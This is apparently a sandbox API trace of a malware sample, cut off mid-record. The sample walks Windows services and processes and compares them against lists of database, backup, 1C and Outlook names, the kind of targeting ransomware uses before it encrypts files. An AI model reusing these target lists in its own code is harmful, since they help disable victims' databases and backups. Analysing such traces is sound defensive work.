[0047.196] lstrlenW (lpString="PcaSvc") returned 6 [0047.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0047.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0047.196] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0047.196] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0047.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0047.196] lstrlenW (lpString="PlugPlay") returned 8 [0047.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0047.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0047.196] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0047.196] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0047.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0047.196] lstrlenW (lpString="Power") returned 5 [0047.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0047.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0047.196] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0047.196] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0047.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0047.196] lstrlenW (lpString="ProfSvc") returned 7 [0047.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0047.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0047.196] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0047.197] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0047.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0047.197] lstrlenW (lpString="RpcEptMapper") returned 12 [0047.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0047.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0047.197] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0047.197] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0047.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0047.197] lstrlenW (lpString="RpcSs") returned 5 [0047.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0047.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0047.197] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0047.197] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0047.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0047.197] lstrlenW (lpString="SamSs") returned 5 [0047.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0047.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0047.197] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0047.197] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0047.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0047.197] lstrlenW (lpString="Schedule") returned 8 [0047.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0047.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0047.197] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0047.197] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0047.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0047.197] lstrlenW (lpString="SENS") returned 4 [0047.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0047.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0047.198] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0047.198] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0047.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0047.198] lstrlenW (lpString="ShellHWDetection") returned 16 [0047.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0047.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0047.198] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0047.198] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0047.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0047.198] lstrlenW (lpString="Spooler") returned 7 [0047.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0047.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0047.198] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0047.198] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0047.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0047.198] lstrlenW (lpString="SysMain") returned 7 [0047.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0047.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0047.198] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0047.198] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0047.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0047.198] lstrlenW (lpString="Themes") returned 6 [0047.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0047.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0047.198] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0047.198] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0047.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0047.199] lstrlenW (lpString="TrkWks") returned 6 [0047.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0047.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0047.199] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0047.199] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0047.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0047.199] lstrlenW (lpString="UxSms") returned 5 [0047.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0047.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0047.199] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0047.199] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0047.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0047.199] lstrlenW (lpString="VSS") returned 3 [0047.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0047.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0047.199] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0047.199] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0047.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0047.199] lstrlenW (lpString="WdiServiceHost") returned 14 [0047.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0047.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0047.199] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0047.199] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0047.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0047.199] lstrlenW (lpString="WdiSystemHost") returned 13 [0047.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0047.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0047.199] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0047.199] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0047.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0047.199] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0047.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0047.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0047.200] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0047.200] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0047.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0047.200] lstrlenW (lpString="Winmgmt") returned 7 [0047.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0047.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0047.200] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0047.200] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0047.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0047.200] lstrlenW (lpString="WPDBusEnum") returned 10 [0047.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0047.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0047.200] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0047.200] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0047.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0047.200] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x60eb98 | out: hHeap=0x510000) returned 1 [0047.200] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1dc [0047.202] Process32FirstW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0047.202] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0047.203] lstrlenW (lpString="System") returned 6 [0047.203] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0047.203] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0047.203] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0047.203] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0047.203] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0047.203] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0047.203] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0047.203] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0047.203] lstrlenW (lpString="smss.exe") returned 8 [0047.203] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0047.203] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0047.203] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0047.203] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0047.203] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0047.203] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0047.203] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0047.203] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0047.204] lstrlenW (lpString="csrss.exe") returned 9 [0047.204] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0047.204] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0047.204] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0047.204] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0047.204] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0047.204] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0047.204] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0047.204] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0047.204] lstrlenW (lpString="wininit.exe") returned 11 [0047.204] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0047.204] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0047.204] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0047.204] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0047.204] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0047.204] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0047.204] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0047.204] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0047.205] lstrlenW (lpString="csrss.exe") returned 9 [0047.205] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0047.205] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0047.205] lstrlenW (lpString="winlogon.exe") returned 12 [0047.205] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0047.205] lstrlenW (lpString="services.exe") returned 12 [0047.205] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0047.205] lstrlenW (lpString="lsass.exe") returned 9 [0047.206] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0047.206] lstrlenW (lpString="lsm.exe") returned 7 [0047.206] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.206] lstrlenW (lpString="svchost.exe") returned 11 [0047.206] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.206] lstrlenW (lpString="svchost.exe") returned 11 [0047.206] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.207] lstrlenW (lpString="svchost.exe") returned 11 [0047.207] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.207] lstrlenW (lpString="svchost.exe") returned 11 [0047.207] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.207] lstrlenW (lpString="svchost.exe") returned 11 [0047.207] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0047.208] lstrlenW (lpString="audiodg.exe") returned 11 [0047.208] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.208] lstrlenW (lpString="svchost.exe") returned 11 [0047.208] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.208] lstrlenW (lpString="svchost.exe") returned 11 [0047.208] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0047.209] lstrlenW (lpString="dwm.exe") returned 7 [0047.209] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0047.209] lstrlenW (lpString="explorer.exe") returned 12 [0047.209] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0047.210] lstrlenW (lpString="spoolsv.exe") returned 11 [0047.210] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0047.210] lstrlenW (lpString="taskhost.exe") returned 12 [0047.210] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.210] lstrlenW (lpString="svchost.exe") returned 11 [0047.210] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0047.211] lstrlenW (lpString="taskeng.exe") returned 11 [0047.211] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0047.211] lstrlenW (lpString="taskhost.exe") returned 12 [0047.211] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poland_holmes_bryant.exe")) returned 1 [0047.211] lstrlenW (lpString="poland_holmes_bryant.exe") returned 24 [0047.211] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit-much-possibilities.exe")) returned 1 [0047.212] lstrlenW (lpString="explicit-much-possibilities.exe") returned 31 [0047.212] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="frankfurtextensivewv.exe")) returned 1 [0047.212] lstrlenW (lpString="frankfurtextensivewv.exe") returned 24 [0047.212] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dramatic-idle.exe")) returned 1 [0047.212] lstrlenW (lpString="dramatic-idle.exe") returned 17 [0047.213] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="britannicaconsultdemocracy.exe")) returned 1 [0047.213] lstrlenW (lpString="britannicaconsultdemocracy.exe") returned 30 [0047.213] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ecagreedreceipt.exe")) returned 1 [0047.213] lstrlenW (lpString="ecagreedreceipt.exe") returned 19 [0047.213] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toyota.exe")) returned 1 [0047.214] lstrlenW (lpString="toyota.exe") returned 10 [0047.214] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radiation.exe")) returned 1 [0047.214] lstrlenW (lpString="radiation.exe") returned 13 [0047.214] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="club-dividend-responses.exe")) returned 1 [0047.214] lstrlenW (lpString="club-dividend-responses.exe") returned 27 [0047.214] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ur illustration.exe")) returned 1 [0047.215] lstrlenW (lpString="ur illustration.exe") returned 19 [0047.215] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="facing.exe")) returned 1 [0047.216] lstrlenW (lpString="facing.exe") returned 10 [0047.216] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="freewarefrontpage.exe")) returned 1 [0047.216] lstrlenW (lpString="freewarefrontpage.exe") returned 21 [0047.216] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, 